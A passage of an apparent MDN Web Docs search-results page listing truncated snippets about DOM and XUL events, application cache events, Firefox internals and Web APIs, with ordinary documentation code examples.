HTTP headers - HTTP
WebHTTPHeaders
this is used to update caches (for safe requests), or to prevent to upload a new resource when one already exists.
...used to prevent downloading two ranges from incompatible version of the resource.
... cross-origin-opener-policy (coop) prevents other domains from opening/controlling a window.
...And 4 more matches
Add to Home screen - Progressive web apps (PWAs)
when this happens, supporting browsers will fire a beforeinstallprompt event.
... we can then use a handler like the one below to handle the installation: window.addeventlistener('beforeinstallprompt', (e) => { // prevent chrome 67 and earlier from automatically showing the prompt e.preventdefault(); // stash the event so it can be triggered later.
... deferredprompt = e; // update ui to notify the user they can add to home screen addbtn.style.display = 'block'; addbtn.addeventlistener('click', (e) => { // hide our user interface that shows our a2hs button addbtn.style.display = 'none'; // show the prompt deferredprompt.prompt(); // wait for the user to respond to the prompt deferredprompt.userchoice.then((choiceresult) => { if (choiceresult.outcome === 'accepted') { console.log('user accepted the a2hs prompt'); } else { console.log('user dismissed the a2hs prompt'); } deferredprompt = null; }); }); }); so here we: call event.preventdefault() to stop chrome 67 and earlier from calling the install prompt automatically (this behavior changed in chr...
...And 4 more matches
Same-origin policy - Web security
sites can use the x-frame-options header to prevent cross-origin framing.
... how to block cross-origin access to prevent cross-origin writes, check an unguessable token in the request — known as a cross-site request forgery (csrf) token.
... you must prevent cross-origin reads of pages that require this token.
...And 4 more matches
simple-prefs - Archive of obsolete content
globals functions on(prefname, listener) registers an event listener that will be called when a preference is changed.
... the event listener may take an optional parameter that specifies the name of the property which changed.
... preference change events are triggered for every character typed by the user.
...And 3 more matches
core/promise - Archive of obsolete content
promises consider another approach, instead of continuation via callbacks, a function returns an object that represents a eventual result, either successful or failed.
... this object is a promise, both figuratively and by name, to eventually resolve.
... in the add-on sdk we follow commonjs promises/a specification and model a promise as an object with a then method, which can be used to get the eventual return (fulfillment) value or thrown exception (rejection): foo().then(function success(value) { // ...
...And 3 more matches
places/history - Archive of obsolete content
usage this module exports a single function, search(), which synchronously returns a placesemitter object which then asynchronously emits data and end or error events that contain information about the state of the operation.
...the placesemitter inherits from event/target, and emits data, error, and end.
... data events are emitted for every individual search result found, whereas end events are emitted as an aggregate of an entire search, passing in an array of all results into the handler.
...And 3 more matches
JavaScript Daemons Management - Archive of obsolete content
in such a condition it is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the cleartimeout() function.
... onstart optional the function which will be synchronously invoked whenever the start event occurs.
...changed');">two reversals</button> <button onclick="orecompose.makeloop();alert('changed');">makeloop</button> <button onclick="orecompose.unmakeloop();alert('changed');">unmakeloop</button> <button onclick="orecompose.close();">close</button> <button onclick="orecompose.reclose();">reclose</button><br /> frame rate: <input type="text" id="vello" value="33" style="width: 40px;" onkeypress="return event.charcode===0||/\d/.test(string.fromcharcode(event.charcode));" onkeyup="if(isfinite(this.value)&&number(this.value)>0){orecompose.setrate(this.value);}" /></p> </body> </html> example #2: a practical instantiation – daemon.buildaround() <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>daemon.buildaround(&hellip;)</title> <script typ...
...And 3 more matches
Adding menus and submenus - Archive of obsolete content
the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xulschoolhello.greet.custom.label;" oncommand="xulsch...
...oolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting.
... <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menu id="xulschoolhello-greeting-sizes-menu" label="&xulschoolhello.greetingsizes.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(event);" /> </menupopup> </menu> <menuitem label="&xulschoolhello.greet.custom.label;...
...And 3 more matches
Connecting to Remote Content - Archive of obsolete content
let url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", url, true); request.send(null); in this example we demonstrate how to make a xmlhttprequest call in asynchronous mode.
...in both cases aevent.target is an nsixmlhttprequest.
... request.onload = function(aevent) { let text = aevent.target.responsetext; let jsobject = json.parse(text); window.alert(jsobject.shops[1].name); // => "orange" window.alert(jsobject.total); // => 2; }; the javascript object can also be serialized back with the stringify method.
...And 3 more matches
JavaScript Object Management - Archive of obsolete content
« previousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.
... to initialize your chrome objects, it's usually better to run the initialization code from the "load" event handler for the window.
... the load event is fired after the dom on the window has loaded completely, but before it's displayed to the user.
...And 3 more matches
Performance best practices in extensions - Archive of obsolete content
defer everything that you can most extensions have a load event listener in the main overlay that runs their startup functions.
... avoid dom mutation event listeners dom mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance.
... as mutation events are officially deprecated, and there are many alternatives, they should be avoided at all costs.
...And 3 more matches
MozAudioAvailable - Archive of obsolete content
the mozaudioavailable event is fired when the audio buffer is full and the corresponding raw samples are available.
... general info specification dom l3 interface event bubbles no cancelable no target element default action none.
... properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 3 more matches
cached - Archive of obsolete content
the cached event is fired when the resources listed in the application cache manifest have been downloaded, and the application is now cached.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
checking - Archive of obsolete content
the checking event is fired when the user agent is checking for an update, or attempting to download the cache manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
downloading - Archive of obsolete content
the downloading event is fired after checking for an application cache update, if the user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
error - Archive of obsolete content
the error event is fired when an error occurred while downloading the cache manifest or updating the content of the application.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
noupdate - Archive of obsolete content
the noupdate event is fired after checking for an application cache update, if the manifest hasn't changed.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
obsolete - Archive of obsolete content
the obsolete event is fired when the manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
progress - Archive of obsolete content
the progress event is fired when the user agent is downloading resources listed by the manifest.
... general info specification offline interface progressevent bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
updateready - Archive of obsolete content
the updateready event is fired when the resources listed in the application cache manifest have been newly redownloaded, and the script can use swapcache() to switch to the new cache.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... type string the type of event.
...And 3 more matches
JavaScript crypto - Archive of obsolete content
services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text.
... handling smart card events web sites can make themselves more smartcard friendly by listening for smartcard insertion and removal events.
... to enable your document to receive these events, you must first tell the crypto system you are interested by setting window.crypto.enablesmartcardevents to true.
...And 3 more matches
New Security Model for Web Services - Archive of obsolete content
client-controlled solutions several client-controlled solutions have been designed to prevent sandboxed applications loaded behind a firewall from compromising other resources protected behind the firewall.
... same source restriction by restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is prevented from accessing resources in the domain into which it has been loaded.
... also, this technique prevents the script from accessing many legitimate external resources not provided in the same domain as the script.
...And 3 more matches
textbox.type - Archive of obsolete content
the command event will fire as the user modifies the value.
... a listener for the command event should update search results.
... if the searchbutton attribute is set to true, the command event is only fired if the user presses the search button or presses the enter key.
...And 3 more matches
broadcast - Archive of obsolete content
the broadcast event is executed when the attributes of the element (such as a broadcaster) being listened to are changed.
... the event handler should be placed on an observer.
... general info specification xul interface event bubbles no cancelable no target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 3 more matches
popupshowing - Archive of obsolete content
the popupshowing event is executed when a <menupopup>, <panel> or <tooltip> is about to become visible.
... the default action of the event can be prevented to prevent the popup to appear.
... general info specification xul interface popupevent bubbles yes cancelable yes target element default action a popup is displayed properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 3 more matches
PopupKeys - Archive of obsolete content
if a menuitem is selected, this will close the menu and fire the menuitem's command event.
...other keys are ignored by the menu key listener, however, the event does not propagate to the main window.
...the menu key listener described above captures key events on the document.
...And 3 more matches
XUL accessibility guidelines - Archive of obsolete content
use the oncontextmenu event handler or the context attribute to create context menus.
...the oncontextmenu event and context attribute work with the correct platform-specific context menu triggers, including the keyboard button and appropriate mouse clicks.
... mouse dependent scripting functionality associated with mouse events such as onmouseover, onmousemove, and ondrag can only be activated with the use of the mouse.
...And 3 more matches
image - Archive of obsolete content
ArchiveMozillaXULimage
attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: script code this event is sent to an image element when an error occurs loading the image.
... image.onload type: script code this event handler will be called on the image element when the image has finished loading.
...if you change the image, the event will fire again when the new image loads.
...And 3 more matches
prefpane - Archive of obsolete content
attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> ...
... onpaneload type: script code code defined here is called when the pane has been loaded, much like the load event for a window.
... (1) an example of a widget that has state changes tracked for it includes the checkbox element, whose state is tracked automatically when the "command" event fires.
...And 3 more matches
tab - Archive of obsolete content
ArchiveMozillaXULtab
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...this might be used to avoid duplication by linking several tabs to one panel with slight differences to the content adjusted in the select event.
...And 3 more matches
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... onselect type: script code this event is sent to the tabs element when this tab is changed.
...And 3 more matches
toolbarbutton - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function.
...And 3 more matches
tree - Archive of obsolete content
ArchiveMozillaXULtree
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... onselect type: script code this event is sent to a tree when a row is selected, or whenever the selection changes.
...And 3 more matches
Unconventional controls - Game development
using a tv remote to control the game ended up being surprisingly easy, because the events fired by the controller are emulating conventional keyboard keys.
...you can check them by printing the responses out in the console: window.addeventlistener("keydown", function(event) { console.log(event.keycode); }, this); every key pressed on the remote will show its key code in the console.
...all that is needed is checking for key presses: window.addeventlistener("keydown", function(event) { switch(event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ...
...And 3 more matches
JavaScript basics - Learn web development
(read more about variable scoping.) events real interactivity on a website requires events handlers.
...the most obvious example is handling the click event, which is fired by the browser when you click on something with your mouse.
...stop poking me!'); } there are many ways to attach an event handler to an element.
...And 3 more matches
Useful string methods - Learn web development
abel { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...get well soon\'];' + '\n' + '\nfor (let i = 0; i < greetings.length; i++) {' + '\n let input = greetings[i];' + '\n if (greetings[i].indexof(\'christmas\') !== -1) {' + '\n let result = input;' + '\n let listitem = document.createelement(\'li\');' + '\n listitem.textcontent = result;' + '\n list.appendchild(listitem);' + '\n }' + '\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textar...
...abel { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...And 3 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
an error message to indicate what's gone wrong: "typeerror: guesssubmit.addeventlistener is not a function" a "learn more" link that links through to an mdn page that explains what this error means in greater detail.
... if we look at line 86 in our code editor, we'll find this line: guesssubmit.addeventlistener('click', checkguess); the error message says "guesssubmit.addeventlistener is not a function", which means that the function we're calling is not recognized by the javascript interpreter.
...here's a shortcut to save you some time in this instance: addeventlistener().
...And 3 more matches
TypeScript support in Svelte - Learn web development
to fix it, replace tabindex="-1" with tabindex={-1}, like this: <h2 id="list-heading" bind:this={headingel} tabindex={-1}>{completedtodos} out of {totaltodos} items completed</h2> this way typescript can prevent us from incorrectly assigning it to a string variable.
... we'll use it in the update() function — update yours like so: function update(updatedtodo: partial<todotype>) { todo = { ...todo, ...updatedtodo } // applies modifications to todo dispatch('update', todo) // emit update event } with this we are telling typescript that the updatedtodo variable will hold a subset of the todotype properties.
...it should end up looking like this: // actions.ts export function selectonfocus(node: htmlinputelement) { if (node && typeof node.select === 'function' ) { // make sure node is defined and has a select() method const onfocus = () => node.select() // event handler node.addeventlistener('focus', onfocus) // when node gets focus call onfocus() return { destroy: () => node.removeeventlistener('focus', onfocus) // this will be executed when the node is removed from the dom } } } now update todo.svelte and newtodo.svelte where we import the actions file.
...And 3 more matches
Working with Svelte stores - Learn web development
repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and events.
...'checked' : 'unchecked'} ${todos.length} todos` } const removecompletedtodos = () => { $alert = `removed ${todos.filter(t => t.completed).length} todos` todos = todos.filter(t => !t.completed) } so basically, we've imported the store and updated it on every event, which causes a new alert to show each time.
...we'll also take care of clearing the timeout when the alert component is unmounted to prevent memory leaks.
...And 3 more matches
Rendering a list of Vue components - Learn web development
while we'll eventually add a mechanism to add new todo items, we can start with some mock to do items.
...while it would be great to use the name field, this field will eventually be controlled by user input, which means we can't guarantee that the names would be unique.
... to prevent name collisions, remove the id field from your data attribute.
...And 3 more matches
Application cache implementation overview
when the update is about to actually start, the scheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and starts fetch of the manifest file.
... if the new hash is identical, update invokes onnoupdate event and is 'finished'.
... if the manifest load failed, onerror event is invoked and the update 'finishes'.
...And 3 more matches
Frame script environment
addeventlistener() listen to events from content.
... removeeventlistener() stop listening to events from content.
... events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script environment: unload fires when the frame script environment is shut down, i.e.
...And 3 more matches
Limitations of chrome scripts
however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shims by setting the dom.ipc.shims.enabledwarnings preference and watching the browser console as you use the add-on.
... dom events without the shim in multiprocess firefox, if you want to register an event listener on some content dom node, that needs to happen in the content process.
... it used to be that if you registered a listener on the xul <browser> or <tab> element that hosted some dom content, then events in the content would bubble up to the xul and you could handle them there.
...And 3 more matches
Frame script environment
addeventlistener() listen to events from content.
... removeeventlistener() stop listening to events from content.
... events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script environment: unload bubbles no fires when the frame script environment is shut down, i.e.
...And 3 more matches
Frame script loading and lifetime
if you want a frame script to do something when a new document is loaded, you need to listen for an appropriate dom event, generally domwindowcreated, domcontentloaded, or load.
... to listen for an event, when your frame script is unloaded (due to tab close for instance), you must set the third argument of addmessagelistener to true.
... for example, from bootstrap.js: services.mm.addmessagelistener( 'my-addon-id', { receivemessage: function() { console.log('incoming message from frame script:', amsg.data); } }, true // must set this argument to true, otherwise sending message from framescript will not work during and after the unload event on the contentmessagemanager triggers ); then in your frame script, listen for the unload event of the message manager (which is the global this), and sending a message.
...And 3 more matches
Performance
alternatively the frame's unload event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed.
...sed by other functions don't register observers (and other callbacks to global services) in a frame script bad: //framescript.js services.obs.addobserver("document-element-inserted", { observe: function(doc, topic, data) { if(doc.ownerglobal.top != content) return; // bail out if this is for another tab decoratedocument(doc); } }) observer notifications get fired for events that happen anywhere in the browser, they are not scoped to the current tab.
...frame message manager message and event listeners are limited in their lifetime to that of the frame itself, this does not apply to observer registrations.
...And 3 more matches
Storage access policy: Block cookies from trackers
second, firefox uses an additional "entity list", which prevents domains from being classified as trackers when they are loaded on a top-level site owned by the same organization.
...this prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties.
... the restrictions applied by the policy will not prevent third-party scripts classified as tracking resources from accessing storage in the main context of the page.
...And 3 more matches
mozbrowseractivitydone
the mozbrowseractivitydone event is fired when something inside the browser <iframe> triggers a web activity, and that web activity's message is consumed by the receiving app.
... note: for activities where the receiving app's activity definition in its manifest does not include returnvalue or returnvalue is false, no mozbrowseractivitydone event will be generated as of the landing of bug 1194525 in firefox os 2.5.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
...And 3 more matches
mozbrowserclose
the mozbrowserclose event is fired when the content of a browser <iframe> calls the window.close() method.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 3 more matches
mozbrowsercontextmenu
the mozbrowsercontextmenu event is fired when the user tried to access a context menu over a browser <iframe>.
... this event can be used to control what will appear in the menu.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
...And 3 more matches
mozbrowserdocumentfirstpaint
the mozbrowserdocumentfirstpaint event is fired when a new paint occurs on any document in the browser <iframe>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 3 more matches
mozbrowserfirstpaint
the mozbrowserfirstpaint event is fired when the <iframe> paints content for the first time (this doesn't include the initial paint from about:blank).
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 3 more matches
mozbrowserloadend
the mozbrowserloadend event is fired when the browser <iframe> has finished loading all its assets, or has failed to load.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 3 more matches
mozbrowseropenwindow
the mozbrowseropenwindow event is fired when a new window is required — usually when the content of a browser <iframe> successfully calls the window.open() method, or the user clicks on a link with an unknown target.
... the embedder must use the <iframe> passed in the event.details.frameelement property as the new window content.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
...And 3 more matches
smartcard-remove
the smartcard-remove event is fired when the removal of a smart card has been detected.
... specification mozilla specific interface event bubbles no cancelable no target document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
... typeread only domstring the type of event.
...And 3 more matches
DeferredTask.jsm
the task will always be executed on a different tick of the event loop, even if the delay specified on construction is zero.
... multiple "arm" calls within the same tick of the event loop are guaranteed to result in a single execution of the task.
... void disarm(); finalize ensure that any pending task is executed from start to finish, while preventing any attempt to arm the timer again.
...And 3 more matches
Mozilla DOM Hacking Guide
there are classes for the dom0, core dom, html, xml, xul, xbl, range, css, events, etc...
..."interface flattening is the ability to call methods on an object regardless of the interface it was defined on." for example, when we have the document object in javascript, we can call indistinctly document.getelementbyid(), or document.addeventlistener(), although they are defined on two different interfaces (domdocument and domeventtarget.
...as an example, on the window object, we can call all the methods defined on the following interfaces: nsidomwindow, nsidomjswindow, nsidomeventreciever, nsidomeventtarget, nsidomviewcss, and nsidomabstractview.
...And 3 more matches
Profiling with Xperf
"-stackwalk profile" tells xperf to capture a stack for each profile event; you could also do "-stackwalk profile+file_io" to capture a stack on each cpu profile tick and each file io completion event.
...heap profiling xperf has good tools for heap allocation profiling, but they have one major limitation: you can't build with jemalloc and get heap events generated.
...firefox generates lots of events, so you may want to play with the buffersize/minbuffers/maxbuffers options as well to ensure that you don't get dropped events.
...And 3 more matches
Necko walkthrough
nshttpconnectionmgr::postevent creates an nsconnevent with params including the handler function, nshttpconnectionmgr::onmsgnewtransaction, and the recently created nshttptransaction.
... dispatches the nsconnevent to the socket thread back to the context of nshttpchannel::continueconnect: nsinputstreampump->asyncread this pump calls nsiasyncinputstream::asyncwait (the input for the response stream pipe created with the nshttptransaction, i.e.
... nspipeinputstream::asyncwait sets the callback to be used later for a response if a target is specified (in this case, the main thread), callback is proxied via an nsinputstreamreadyevent, which is created now and may be called later otherwise, the callback would be called directly, when the socket is readable et voila, the transaction has been posted to the socket thread, and the main thread continues on, unblocked from network io.
...And 3 more matches
JS::CompileOptions
source belongs to a dom element if it is an event handler content attribute (that is, if it is written out in the markup text as an attribute value).
... source belongs to a dom element if it was assigned to one of the element's event handler idl attributes as a string.
... (note that one may assign both strings and functions to dom elements' event handler idl attributes.
...And 3 more matches
IAccessibleText
provided for use by the ::ia2_event_text_inserted and ::ia2_event_text_updated event handlers.
... this data is only guaranteed to be valid while the thread notifying the event continues.
...provided for use by the ia2_event_text_removed/updated event handlers.
...And 3 more matches
nsIAsyncInputStream
method overview void asyncwait(in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the oninputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some erro...
...after the oninputstreamready event is dispatched, the stream releases its reference to the nsiinputstreamcallback object.
...if the stream is already readable or closed when asyncwait is called, then the nsiinputstreamcallback.oninputstreamready() event will be dispatched immediately.
...And 3 more matches
nsIAsyncOutputStream
method overview void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the onoutputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some erro...
...after the nsioutputstreamcallback.onoutputstreamready() event is dispatched, the stream releases its reference to the nsioutputstreamcallback object.
...if the stream is already writable or closed when asyncwait is called, then the nsioutputstreamcallback.onoutputstreamready() event will be dispatched immediately.
...And 3 more matches
nsIParentalControlsService
if this is true, applications should log relevant events using log() method.
... methods log() logs an application specific parental controls event.
... void log( in short aentrytype, in boolean aflag, in nsiuri asource, in nsifile atarget optional ); parameters aentrytype the type of event to log.
...And 3 more matches
nsITimer
target nsieventtarget the nsieventtarget to which the callback is dispatched.
... however this timer type guarantees that it will not queue up new events to fire the callback until the previous callback event finishes firing.
... void init( in nsiobserver aobserver, in unsigned long adelay, in unsigned long atype ); parameters aobserver a callback object, that is capable listening to timer events.
...And 3 more matches
Debugger - Firefox Developer Tools
this property gives debugger code a single point of control for disentangling itself from the debuggee, regardless of what sort of events or handlers or “points” we add to the interface.
... setting this to false prevents this debugger instance from requiring any code coverage instrumentation, but it does not guarantee that the instrumentation is not present.
... uncaughtexceptionhook either null or a function that spidermonkey calls when a call to a debug event handler, breakpoint handler, or similar function throws some exception, which we refer to asdebugger-exception here.
...And 3 more matches
Animation.onfinish - Web APIs
the animation interface's onfinish property (from the web animations api) is the event handler for the finish event.
... this event is sent when the animation finishes playing.
... the finish event occurs when the animation completes naturally, as well as when the animation.finish() method is called to immediately cause the animation to finish up.
...And 3 more matches
Animation.onremove - Web APIs
the animation interface's onremove property (from the web animations api) is the event handler for the remove event.
... this event is sent when the animation is removed (i.e., put into an active replace state).
... syntax var removehandler = animation.onremove; animation.onremove = removehandler; value a function to be called to handle the remove event, or null if no remove event handler is set.
...And 3 more matches
AudioTrackList.onchange - Web APIs
the audiotracklist property onchange is an event handler which is called when the change event occurs, indicating that one or more of the audiotracks in the audiotracklist have been enabled or disabled.
... the event is passed into the event handler in the form of an event object; the event doesn't provide any additional information.
... note: you can also add a handler for the change event using addeventlistener().
...And 3 more matches
Battery Status API - Web APIs
the battery status api, more often referred to as the battery api, provides information about the system's battery charge level and lets you be notified by events that are sent when the battery level or charging status change.
... this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to prevent data loss.
... the battery status api extends window.navigator with a navigator.getbattery() method returning a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
...And 3 more matches
Managing screen orientation - Web APIs
the second way is the javascript screen orientation api that can be used to get the current orientation of the screen itself and eventually lock it.
... the screen orientation api is made to prevent or handle such a change.
... listening orientation change the orientationchange event is triggered each time the device change the orientation of the screen and the orientation itself can be read with the screen.orientation property.
...And 3 more matches
CacheStorage - Web APIs
examples this code snippet is from the mdn sw-test example (see sw-test running live.) this service worker script waits for an installevent to fire, then runs waituntil to handle the install process for the app.
... in the second code block, we wait for a fetchevent to fire.
... if not, fetch the request from the network, then also open the cache created in the first block and add a clone of the request to it using cache.put (cache.put(event.request, response.clone()).) if this fails (e.g.
...And 3 more matches
Advanced animations - Web APIs
2, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle = this.color; ctx.fill(); } }; function draw() { ctx.clearrect(0,0, canvas.width, canvas.height); ball.draw(); ball.x += ball.vx; ball.y += ball.vy; raf = window.requestanimationframe(draw); } canvas.addeventlistener('mouseover', function(e) { raf = window.requestanimationframe(draw); }); canvas.addeventlistener('mouseout', function(e) { window.cancelanimationframe(raf); }); ball.draw(); boundaries without any boundary collision testing our ball runs out of the canvas quickly.
...fill(); } }; function draw() { ctx.clearrect(0,0, canvas.width, canvas.height); ball.draw(); ball.x += ball.vx; ball.y += ball.vy; if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { ball.vy = -ball.vy; } if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { ball.vx = -ball.vx; } raf = window.requestanimationframe(draw); } canvas.addeventlistener('mouseover', function(e) { raf = window.requestanimationframe(draw); }); canvas.addeventlistener('mouseout', function(e) { window.cancelanimationframe(raf); }); ball.draw(); acceleration to make the motion more real, you can play with the velocity like this, for example: ball.vy *= .99; ball.vy += .25; this slows down the vertical velocity each frame, so that the ball will ju...
...ctx.clearrect(0,0, canvas.width, canvas.height); ball.draw(); ball.x += ball.vx; ball.y += ball.vy; ball.vy *= .99; ball.vy += .25; if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { ball.vy = -ball.vy; } if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { ball.vx = -ball.vx; } raf = window.requestanimationframe(draw); } canvas.addeventlistener('mouseover', function(e) { raf = window.requestanimationframe(draw); }); canvas.addeventlistener('mouseout', function(e) { window.cancelanimationframe(raf); }); ball.draw(); trailing effect until now we have made use of the clearrect method when clearing prior frames.
...And 3 more matches
DataTransfer.mozUserCancelled - Web APIs
